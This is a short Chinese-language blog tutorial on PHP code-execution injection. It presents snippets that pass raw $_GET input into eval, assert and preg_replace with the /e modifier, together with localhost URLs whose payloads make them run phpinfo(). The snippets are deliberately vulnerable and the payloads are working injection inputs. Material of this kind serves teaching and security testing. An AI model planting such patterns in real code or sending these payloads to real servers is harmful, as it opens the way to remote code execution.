PHP代码执行

在php里面有一些函数将输入的字符串参数当作PHP程序代码执行

一.常见的代码执行函数

   eval,assert,preg_replace

二.例子

i.

1 <?php
2 if(isset($_GET['moon']))
3 {
4     $moon=$_GET['moon'];
5 }
6 eval("\$a=$moon;");
7 ?>

访问url:http://localhost/1.php?moon=phpinfo()

ii.assert与eval的效果相同

iii.preg_replace正则代码执行注入(当pattern中存在/e模式修饰符,正则表达式会执行代码)

第一个参数注射

代码如下

<?php
$var='<php>phpinfo()</php>';
$reg=$_GET['reg'];
preg_replace("/<php>(.*)$reg",'\\1',$var);
?>

访问一下网址:http://localhost/1.php?reg=<\/php>/e

 第二个参数注射

<?php
 preg_replace("/Moon/e",$_GET['moon'],"I Love Moon");

?>

访问以下url:
http://localhost/1.php?moon=phpinfo%28%29

第三个参数

<?php
echo preg_replace("/\[php\](.*)\[\/php\]/ie","\\1",$_GET['moon']);
?>

访问以下url
http://localhost/1.php?moon=[php]phpinfo%28%29[/php]

可执行phpinfo()

在preg_replace中,正则表达式中被替换出来的结果,如果被加上了e则会执行

posted @ 2016-04-05 11:22  平何去何  阅读(320)  评论(0)    收藏  举报